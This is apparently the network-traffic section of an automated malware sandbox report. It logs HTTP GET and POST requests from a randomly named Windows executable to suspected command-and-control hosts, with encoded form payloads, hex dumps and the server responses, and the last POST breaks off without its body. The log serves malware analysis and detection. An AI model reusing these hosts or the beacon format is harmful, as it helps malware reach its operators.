                                                                                                                                                                              Data Ascii: PDnL0H4=+GrqD6scSWYt3g7XuSV4uBCBZ9RHpNALfRA3AoGgWB22EkuMaPH3qJt/kIT2a50lgEsafdYCF+UF2jHFq2dhWEUPbe6C3oH46xsrxxYzfCH5o/7T2qwLa85bx2F42sIRIaH0ur/H4ayEDGsjSc4P6tfsYGi1CkT+dverT6UcQxDdVXbYY3BDi9LaA86a1PVdkwO/y+0BoXkaEIIY4lGeDJJ85+KEz5iGnVNkf7jbRObWn8aXlDkT07m7rI9UYjiwF8NWsU7hj+2Jss1rpaJf0hPsE6j5nd9ptwCbjj8T1zEOI8Z63Ia7vJI6xfRq215csdEsGYmCSD0Uqbl2oYzzaITJbgE3ikeSFVU87O2fLvWZQE8Nx5lce0/oZbfJ7bZFKUjex3dLXi17eeopb2icWn03L5YSIZksAbpERHJtR0qVIw8eCdjE5xwk1WXMHU3QYmTUkpI5Hf/aUN7xzuMDiYtDz8fQlkSoVvu24VFLYwx4UIjxaCm9wx3CDbKjOA6x7sLfV56HYtZ5TS5DI7gCSM75dH57KPTha27iQYhj/fTu7KjoY9G/CdtixZQEUQZudTblEVfhFqYslGdp06iuFVfvGxsz3E0Xqii1N0igUYzdjUXWpey4UhQ1+liQcNj7U/hNZ5TTNL5BzyKWF2TeBsvNYFOf9pfi3oKAEExRCaSaBuC54FX8UHu5pKNTQFn7kBz+S8D0BAYsLQEVkt0rxEkFwyvaPcCBEz3ypL1Y90xlHzhGNPvLhv15US9FHs8aEmPPYKTU3cHMGgI6lwLLiNJCLgKNPm7Hld3ucIaK2YCwYkTM4phaEmckEkErgcJixn0x3niFR1dnT677JK78iUuy0v4kCeHOCAwogTFhJ3U9V52NWbzqY+aaVkJKJbf7ExL+qTXCiXbZeNJvIGTYKcIBIvNnigSMFBmkjhUEJKibGBxCRhYEvjWy4Hepnw3zWt565OKcanLyzAy6S+4IplUKfTG2fYnUA1W7/Ad3GYMN [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:16:53.924268007 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: openresty
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:53 GMT
                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Content-Encoding: gzip
                                                                                                                                                                              Data Raw: 31 31 31 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c cb 72 e4 b6 b5 7b 7f 05 dc 53 2e 49 2e b1 5f 6a 3d a6 1f 4a 34 1a c9 49 25 37 99 8a c7 95 c4 29 d7 14 9a 44 37 29 91 04 cd 47 b7 5a 8a f3 07 f7 03 6e 79 95 a5 17 5e dd 75 b2 91 f3 5f 39 07 04 d8 e0 bb 25 cb ae 2c 82 19 49 24 70 70 70 de e7 00 64 f7 f4 e3 b7 bf bf 7c ff e7 77 57 c4 8e 3d f7 fc a3 29 fe 21 2e f5 97 b3 0e f3 3b d8 c1 a8 75 fe 11 81 36 8d 9d d8 65 e7 17 66 ec ac d8 70 34 ed a5 f7 e9 98 c7 62 4a 4c 9b 86 11 8b 67 9d 24 5e 18 67 1d 7d c8 a7 1e 9b 75 56 0e 5b 07 3c 8c 3b c4 e4 7e cc 7c 00 5d 3b 56 6c cf 2c b6 72 4c 66 88 9b 43 e2 39 be e3 25 9e 11 99 d4 65 b3 41 b7 0f 5d f4 2e df d5 21 bd 32 fe 05 0f 3d 1a 1b 16 8b 19 50 c9 7d 6d 9d 98 b9 2c b0 b9 cf 66 3e af a0 ec 96 6d d6 3c b4 22 6d 46 05 94 c5 22 33 74 82 02 6a 05 38 a7 11 23 76 c8 16 b3 8e 1d c7 41 34 ee f5 4c cb ef 52 29 b0 2e 4b 72 28 11 c6 60 5f 27 ce 6a d6 f9 93 f1 c5 85 71 c9 bd 80 c6 ce dc 65 1a f2 5f 5f cd ae ac 25 db b2 eb 3a fe 2d 09 99 3b eb 44 36 88 d2 4c 62 e2 98 48 4f [TRUNCATED]
                                                                                                                                                                              Data Ascii: 111d<r{S.I._j=J4I%7)D7)GZny^u_9%,I$pppd|wW=)!.;u6efp4bJLg$^g}uV[<;~|];Vl,rLfC9%eA].!2=P}m,f>m<"mF"3tj8#vA4LR).Kr(`_'jqe__%:-;D6LbHODK3<-{IEF_.`UcAMFd!s)M2(4${"uOM7K.{$~398?/Cl1j_R,'~AIOrO &iB:y!&p/0en5x} g:\]k oO^@9)z8*,qn3z"7@bkI@.o$ihgGqo98T<;^,`!K89;.8wy*>N+m'F9.D(rLV4/KK3[]%3D?%IBjYs~gDCy@;oo=~_;EZ\Xai`b.arC L$e!`6pw(,g^D+.k>!v!}#E.&i!'1$s&4\PFP8FDCCFIqL'V0" ezUU )5`h&KkAyLHb
                                                                                                                                                                              Oct 2, 2024 15:16:53.924288034 CEST1236INData Raw: 26 0f 29 8a b3 72 41 6f 09 80 99 38 25 04 d4 89 69 15 a9 58 2b f2 13 f3 a0 bc 5c a6 89 14 89 99 84 11 9a 56 c0 21 7c b0 b0 00 3f 16 de be 1b 91 74 bc e0 66 12 d5 01 e7 64 90 23 a2 56 3a 29 db 25 36 cb c6 a0 56 56 68 fb 93 32 9a a2 70 e6 1c 66 7a
                                                                                                                                                                              Data Ascii: &)rAo8%iX+\V!|?tfd#V:)%6VVh2pfz[lOA8`6@t1CEdu^csqk"*47E'E%W}&q{RP^N;PsZ>Q2UV7<WP;FVy2j!s?#9
                                                                                                                                                                              Oct 2, 2024 15:16:53.924302101 CEST1236INData Raw: 7d d1 49 e4 86 a3 3c 09 f0 7f a0 ae 9b 2f 75 b4 58 9d 85 9f 93 ea 42 41 cd a7 78 55 ca 11 0d c9 0c b0 28 b7 7c 75 74 d9 c7 67 a3 7a fa 28 16 f3 90 dd e4 66 b1 f2 41 e1 76 67 85 0c 0f 61 b6 b8 aa aa 93 32 33 76 7c b1 c0 dc e5 e6 6d 51 a1 b8 7c b3
                                                                                                                                                                              Data Ascii: }I</uXBAxU(|utgz(fAvga23v|mQ|[D1(Rt:ZmX=;!'Et8!ApO~k"d[Vf$%RWQxa55YMIkDT`ZuYq'K,"'_-Pes.~5j[J.K0#+7w'P
                                                                                                                                                                              Oct 2, 2024 15:16:53.924385071 CEST918INData Raw: b0 c3 4a 7c b1 d8 6d 9a f6 16 2b a4 78 7e c3 0c 50 2e c4 60 d0 75 3b 02 f9 59 b4 a6 36 4d df 77 95 02 93 af b4 16 dd 20 2e 16 16 75 4d 2b 0a 30 41 e1 c3 7f 2c 74 a2 5e 8a c9 70 31 ed 77 03 7f 29 d3 fe af 5c 66 d1 fc 7a 1f c4 27 e2 da 97 9b f6 52
                                                                                                                                                                              Data Ascii: J|m+x~P.`u;Y6Mw .uM+0A,t^p1w)\fz'R!=z4/]';D|*9tto[uCejYP?xo;F;<@"p$hr[j9dl\kbkT,_/B.!W5p%YS?.{C#8Z;+x"


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              8192.168.2.74971437.9.175.163806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:16:55.800770998 CEST515OUTGET /t3gh/?PDnL0H4=zEDKAPo0fWIr7gepujFM3hONZ8pGlKAcECMHT5GhOUjPLGGHYOnRhJ5losn3B+cwv2wWXqsOX+tmwA3DpzxQYWcvF9OI/7vzh1sU1BgJQgDKmJ3P14tuMLY//UhfsPslfp/YvJbN0ZLZ&cJ=eZx4P HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.elektromontaze.online
                                                                                                                                                                              Connection: close
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Oct 2, 2024 15:16:56.467499971 CEST1236INHTTP/1.1 200 OK
                                                                                                                                                                              Server: openresty
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:16:56 GMT
                                                                                                                                                                              Content-Type: text/html; charset=UTF-8
                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Vary: Accept-Encoding
                                                                                                                                                                              Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 76 65 32 34 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 [TRUNCATED]
                                                                                                                                                                              Data Ascii: 1fc0<!DOCTYPE html><html lang="en"><head> <title>Active24</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0" /> <meta name="format-detection" content="telephone=no"> <meta name="keywords" content=""> <meta name="description" content=""> <base href="https://cdn.active24.eu"> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <link rel="shortcut icon" type="image/x-icon" href="/logos/favicon.ico"> <style> @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.otf') format("opentype"), url('https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2') format("woff2"); font-weight: 400; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Medium.otf') format("opentype"), url('https://cdn.active24.eu/fonts [TRUNCATED]
                                                                                                                                                                              Oct 2, 2024 15:16:56.467536926 CEST1236INData Raw: 64 69 75 6d 2e 77 6f 66 66 32 27 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 32 22 29 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 64 69 73 70 6c 61 79 3a 20 73 77 61 70
                                                                                                                                                                              Data Ascii: dium.woff2') format("woff2"); font-weight: 500; font-display: swap; } @font-face { font-family: 'Active24'; src: url('https://cdn.active24.eu/fonts/OTF/Active24-Bold.otf') format("opentype"),
                                                                                                                                                                              Oct 2, 2024 15:16:56.467550993 CEST1236INData Raw: 29 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 68 74 6d 6c 2c 20 62 6f 64 79 2e 75 70 2c 20 2e 75 70 20 64 69 76 2c 20 2e 75 70 20 73 70 61 6e 2c 20 2e 75 70 20 61 70 70 6c 65 74 2c 20 2e 75 70 20 6f 62 6a 65 63 74 2c 20 2e 75 70 20 69 66 72 61 6d
                                                                                                                                                                              Data Ascii: ); } .up html, body.up, .up div, .up span, .up applet, .up object, .up iframe, .up a, .up img, .up select, .up input, .up option { margin: 0; padding: 0; border: 0; outline: 0; } .up html { -webkit-text-size-adjust: none; } .
                                                                                                                                                                              Oct 2, 2024 15:16:56.467652082 CEST1236INData Raw: 63 75 73 2d 69 6e 6e 65 72 20 7b 20 62 6f 72 64 65 72 3a 20 30 3b 20 7d 0a 20 20 20 20 20 20 2e 75 70 20 23 6c 6f 67 69 6e 2d 66 6f 72 6d 20 2e 73 62 53 65 6c 65 63 74 6f 72 20 61 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 20 21 69 6d 70 6f 72 74 61
                                                                                                                                                                              Data Ascii: cus-inner { border: 0; } .up #login-form .sbSelector a{ color: #000 !important; } /* ~~~~~ Typography ~~~~~ */ h1, h2, h3, h4, h5, h6 {font-family: 'Active24'; font-weight: normal;font-style: normal; padding: 0; margin: 0; li
                                                                                                                                                                              Oct 2, 2024 15:16:56.467663050 CEST1236INData Raw: 69 6e 65 2d 68 65 69 67 68 74 3a 31 2e 31 37 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 3b 6c 65 74 74 65 72 2d 73 70 61
                                                                                                                                                                              Data Ascii: ine-height:1.17;margin-bottom: 16px;font-weight: 600;font-family: Arial;letter-spacing: 0px;} .up .imgblk .content p {color: var(--a24-black-60);font-size: 16px;text-align: center;line-height: 1.5;font-family: Arial;font-weight: 400;marg
                                                                                                                                                                              Oct 2, 2024 15:16:56.467673063 CEST1236INData Raw: 3a 20 76 61 72 28 2d 2d 62 67 29 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 6c 6f 67 6f 78 20 7b 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 20 6a 75 73 74 69 66 79 2d 63
                                                                                                                                                                              Data Ascii: : var(--bg);} .page.up .logox {display: flex; align-items: center; justify-content: flex-start; margin-bottom: 120px;} .page.up .imgblk {text-align: center;display: flex;width: 100%;} .page.up .imgblk .content {width: 50%;mar
                                                                                                                                                                              Oct 2, 2024 15:16:56.467683077 CEST1236INData Raw: 6f 72 3a 76 61 72 28 2d 2d 61 32 34 2d 70 72 69 6d 61 72 79 2d 68 6f 76 65 72 29 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 69 6d 67 62 6f 78 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b
                                                                                                                                                                              Data Ascii: or:var(--a24-primary-hover);} .page.up .imgblk .imgbox {margin-bottom: 50px;} .page.up form {outline: 0;float: left;-webkit-border-radius: 50px;position: relative;z-index:0;margin-top:10px;border: 1px solid var(--a24-champagn
                                                                                                                                                                              Oct 2, 2024 15:16:56.468008995 CEST1236INData Raw: 36 35 70 78 3b 7d 0a 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 62 74 6e 5f 61 6c 6c 20 61 2e 62 74 6e 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 41 63 74 69 76 65 32 34 27 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 20 20
                                                                                                                                                                              Data Ascii: 65px;} .page.up .btn_all a.btn {font-family: 'Active24', Arial, sans-serif ;color: #3C0500;font-size: 16px;line-height:1.25;font-weight: 600; padding: 14px 26px 14px;text-align: center;display: inline-block;border-radius: 6px;p
                                                                                                                                                                              Oct 2, 2024 15:16:56.468019009 CEST1236INData Raw: 69 6e 3a 20 33 30 70 78 20 30 20 31 31 30 70 78 20 30 3b 7d 0a 20 20 20 20 20 20 20 20 2e 70 61 67 65 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 63 6f 6e 74 65 6e 74 20 7b 20 77 69 64 74 68 3a 20 35 30 25 3b 20 7d 0a 20 20 20 20 20 20 20 20 2e 70 61
                                                                                                                                                                              Data Ascii: in: 30px 0 110px 0;} .page.up .imgblk .content { width: 50%; } .page.up .imgblk .imgbox { width: 50%; } .page.up .imgblk .content h1 {font-size: 44px;} } @media (max-width: 1200px) { .page.up .imgblk
                                                                                                                                                                              Oct 2, 2024 15:16:56.468029022 CEST1236INData Raw: 20 20 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 63 6f 6e 74 65 6e 74 20 70 20 62 72 20 7b 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 7d 0a 20 20 20 20 20 20 20 20 2e 75 70 20 2e 69 6d 67 62 6c 6b 20 2e 69 6d 67 62 6f 78 20 7b 20 64 69 73 70 6c 61 79
                                                                                                                                                                              Data Ascii: .up .imgblk .content p br {display: none;} .up .imgblk .imgbox { display: none; } .up .content .bottom_blk {padding: 20px 0;flex-wrap: wrap;max-width: 100%;} .up .social_blk {justify-content: center;width: 100%;margin
                                                                                                                                                                              Oct 2, 2024 15:16:56.472625017 CEST1236INData Raw: 20 7b 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 7d 0a 20 20 20 20 20 20 7d 3c 2f 73 74 79 6c 65 3e 0a 3c 2f
                                                                                                                                                                              Data Ascii: {display: flex; align-items: center; justify-content: center;} }</style></head><body class="up page"><div class="wrapper"> <div class="mid-container"> <div class="main"> <div class="logox"> <a


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              9192.168.2.74971567.223.117.169806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:01.653134108 CEST782OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.rtpsilva4d.click
                                                                                                                                                                              Origin: http://www.rtpsilva4d.click
                                                                                                                                                                              Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 220
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 4a 30 38 59 41 72 6a 2f 72 35 67 47 57 57 49 64 4f 61 65 49 52 6a 64 36 61 6e 46 4c 61 4e 48 43 49 54 6e 62 58 30 4e 32 46 51 46 76 5a 73 53 77 43 6d 6f 6a 73 52 79 6f 39 50 72 53 62 2f 61 76 4b 69 39 54 31 45 62 68 45 66 70 6d 69 7a 67 77 36 65 68 44 68 57 4f 78 38 51 6c 55 6e 52 38 4a 46 44 71 35 77 67 30 41 79 35 48 38 4b 59 33 4c 34 38 2b 6c 39 2b 32 36 59 37 72 52 47 50 2b 6b 77 54 38 2f 37 4f 32 30 6e 45 76 64 67 39 61 77 36 35 48 65 75 4a 6d 59 70 50 2f 50 4d 6b 56 77 61 68 67 73 43 46 6b 56 33 67 36 73 2b 50 47 33 6a 4f 35 34 34 53 7a 50 68 2f 61 43 79 54 63 33 37 45 32 45 64 67 3d 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=2QQI6K98ll10J08YArj/r5gGWWIdOaeIRjd6anFLaNHCITnbX0N2FQFvZsSwCmojsRyo9PrSb/avKi9T1EbhEfpmizgw6ehDhWOx8QlUnR8JFDq5wg0Ay5H8KY3L48+l9+26Y7rRGP+kwT8/7O20nEvdg9aw65HeuJmYpP/PMkVwahgsCFkV3g6s+PG3jO544SzPh/aCyTc37E2Edg==
                                                                                                                                                                              Oct 2, 2024 15:17:02.246546984 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:02 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              Content-Length: 315
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                              Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              10192.168.2.74971667.223.117.169806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:04.262598991 CEST802OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.rtpsilva4d.click
                                                                                                                                                                              Origin: http://www.rtpsilva4d.click
                                                                                                                                                                              Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 240
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
                                                                                                                                                                              Data Raw: 50 44 6e 4c 30 48 34 3d 32 51 51 49 36 4b 39 38 6c 6c 31 30 47 77 41 59 46 4d 33 2f 36 4a 67 46 61 32 49 64 48 36 65 4d 52 6a 52 36 61 6d 78 62 61 37 58 43 49 7a 58 62 55 31 4e 32 43 51 46 76 58 4d 53 78 61 47 70 76 73 52 76 4c 39 4e 76 53 62 2f 4f 76 4b 69 4e 54 32 7a 33 67 46 50 70 6b 33 6a 67 79 6e 4f 68 44 68 57 4f 78 38 51 78 71 6e 53 4d 4a 45 7a 36 35 33 78 30 44 73 70 48 6a 64 6f 33 4c 76 4d 2b 70 39 2b 33 70 59 36 33 33 47 4a 79 6b 77 57 41 2f 37 66 32 7a 74 45 75 59 75 64 62 78 72 4a 43 47 6c 4a 53 33 68 2f 6a 38 4f 48 6b 53 62 58 39 4f 59 6e 6f 35 70 78 43 58 36 4e 69 42 30 6f 6b 4e 36 54 33 58 73 64 75 6a 74 6b 35 64 32 57 58 41 4c 5a 41 4f 6f 54 33 51 78 4e 42 30 37 30 4d 4b 51 69 47 2f 69 64 51 3d
                                                                                                                                                                              Data Ascii: PDnL0H4=2QQI6K98ll10GwAYFM3/6JgFa2IdH6eMRjR6amxba7XCIzXbU1N2CQFvXMSxaGpvsRvL9NvSb/OvKiNT2z3gFPpk3jgynOhDhWOx8QxqnSMJEz653x0DspHjdo3LvM+p9+3pY633GJykwWA/7f2ztEuYudbxrJCGlJS3h/j8OHkSbX9OYno5pxCX6NiB0okN6T3Xsdujtk5d2WXALZAOoT3QxNB070MKQiG/idQ=
                                                                                                                                                                              Oct 2, 2024 15:17:04.824687958 CEST479INHTTP/1.1 404 Not Found
                                                                                                                                                                              Date: Wed, 02 Oct 2024 13:17:04 GMT
                                                                                                                                                                              Server: Apache
                                                                                                                                                                              Content-Length: 315
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                              Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                              Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                              11192.168.2.74971767.223.117.169806760C:\Program Files (x86)\VFHYPMRHNSmDvkDOwyvQmIScReffGBDtnnCfHxSMLyuqFYcuFILGcMwFiYnGerwoQHpXzBGxx\AnbtBVreItY.exe
                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                              Oct 2, 2024 15:17:06.806843042 CEST1815OUTPOST /zctj/ HTTP/1.1
                                                                                                                                                                              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                                                                                                                              Accept-Encoding: gzip, deflate
                                                                                                                                                                              Accept-Language: en-US,en;q=0.5
                                                                                                                                                                              Host: www.rtpsilva4d.click
                                                                                                                                                                              Origin: http://www.rtpsilva4d.click
                                                                                                                                                                              Referer: http://www.rtpsilva4d.click/zctj/
                                                                                                                                                                              Cache-Control: max-age=0
                                                                                                                                                                              Connection: close
                                                                                                                                                                              Content-Length: 1252
                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                              User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3)
